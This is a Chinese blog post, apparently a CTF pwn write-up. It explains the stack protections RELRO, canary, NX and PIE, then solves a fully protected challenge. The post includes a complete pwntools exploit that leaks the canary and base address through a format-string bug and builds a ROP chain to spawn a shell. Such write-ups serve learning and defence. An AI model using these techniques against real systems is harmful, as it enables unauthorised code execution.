CTFpwn全保护简单介绍及一道保护全开题
  kfLTHs171Dp5 2023年12月07日 30 0

今日份心脏骤停,噔噔咚!

CTFpwn全保护简单介绍及一道保护全开题_栈溢出

每种保护介绍

Full RELRO

保护原理:其实就是不让你改写got表中的内容。

影响:不能劫持stack_chk_fail函数以绕过canary,不能劫持动态链接里面已经调用过的函数。(不懂libc快去翻我文章doge)

Canary

保护原理:在所有函数的栈的末尾(比如rbp-8)插入一个值,叫做canary,在退出函数时检查是否和原来写入的canary值一致,如果不一致就调用stack_chk_fail退出程序。

影响:让你栈溢出多了一个步骤(比如泄露canary的值,比如劫持stack_chk_fail函数。比如逐字节爆破)

NX

保护原理:让你栈上写入的东西不能被直接执行。

影响:让你不能在溢出之后直接用pwntools的一个工具叫做asm.shellcode就直接提权了,太扯了。逼着你用一些ROP或是SROP啊什么的取构造链。

PIE

保护原理:在程序加载时加上一个基址,而基址是随机的,我们在IDA里看只能看到偏移地址。(比如这样)

CTFpwn全保护简单介绍及一道保护全开题_格式化字符串_02

影响:和canary差不多,还是要泄露地址,多了一步,会麻烦点。

题目分析

CTFpwn全保护简单介绍及一道保护全开题_格式化字符串_03

程序有/bin/sh字符串,应该是出题人的怜悯了。

bird函数

CTFpwn全保护简单介绍及一道保护全开题_保护全开_04

CTFpwn全保护简单介绍及一道保护全开题_保护全开_05

bird函数不存在栈溢出,不过有一个格式化字符串漏洞(不懂的快去翻我上一篇文章捏)。

我们做得rbp+8肯定存着返回函数(这里是main中的一截)的地址,以及var_8就是canary的值。这一点是在汇编看出来的。

CTFpwn全保护简单介绍及一道保护全开题_保护全开_06

先是从fs:28h拿出一个字节放在[rbp + var_8]里面。尤其记住这里canary的值是从fs:28h取出的。

CTFpwn全保护简单介绍及一道保护全开题_保护全开_07

程序结束时用[rbp + var_8]的值和fs:28h的值对比,如果对不上就调用stack_chk_fail函数。

考虑到这题pie加canary都开了,大概率是要在这里利用格式化字符串漏洞泄露出canary以及main函数的地址.不急,再看看另一个函数。

search函数

CTFpwn全保护简单介绍及一道保护全开题_保护全开_08

CTFpwn全保护简单介绍及一道保护全开题_保护全开_09

妥妥栈溢出,基本上第一次read就能结束战斗了。第二次read看似没意义,实则可以让我们在没有

pop rax ret的gadget情况下让rax为0x3b以调用execve函数。

一个小细节

刚才说让大伙注意一下canary是从fs:28h取出的,我们会发现search函数的canary和刚才的bird函数canary是一样的,经过我测试,从bird函数里泄露的canary确实和serach函数是一样的。

CTFpwn全保护简单介绍及一道保护全开题_保护全开_10

所以我们思路就比较清晰了,从bird函数泄露出bird的返回地址和canary的值,在search函数进行溢出然后ROP链构造,调用system函数,把/bin/sh的地址传入。

EXP

from pwn import * 
context( 
    terminal = ['tmux','splitw','-h'], 
    os = "linux", 
    arch = "amd64", 
    #arch = "i386", 
    log_level="debug" 
) 
# io = remote("1.container.jingsai.apicon.cn",32378)
io = process("./vuln") 
def debug(): 
    gdb.attach(io) 
    pause() 
debug() 
######################################################
payload1 = b'%13$p' + b'%11$p'
#用格式化泄露canary和main函数地址,这个可以看看我上一篇文章,讲了如何计算偏移量
io.sendafter(b'steal your pie.\n',payload1)
main_adr = int(io.recv(0xe),16)#14
canary = int(io.recv(0x12),16)#18
print(f'main_adr: {hex(main_adr)}')
print(f'canary: {hex(canary)}')
# pie and canary is done.
######################################################
base_adr = main_adr - 0x13D1
bin_adr = 0x2046 + base_adr
pop_rdx_rsi_rdi_syscall = 0x121B + base_adr
# adr is done,用泄露的地址算出基地址以及每个需要的gadget地址
######################################################
offset2 = (0x50-8)
offset3 = 0x3b
payload2 = cyclic(offset2) + p64(canary) 
payload2 += b'a'*8 + p64(pop_rdx_rsi_rdi_syscall)
payload2 += p64(0) + p64(0) + p64(bin_adr)
io.sendafter(b'But where is my binsh ?\n',payload2)
payload3 = cyclic(offset3)
#这个payload3用于把rbp+8后面的溢出ROP链安排好,ret is done
io.sendafter(b'Did u tell me where my binsh is ?\n',payload3)
# rax is done,发送刚好0x3b个字节,不会碰到canary的字节,同时还能让rax变成0x3
io.interactive()

人生第一道全开保护的题,嘿嘿。

【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

  1. 分享:
最后一次编辑于 2023年12月07日 0

暂无评论

kfLTHs171Dp5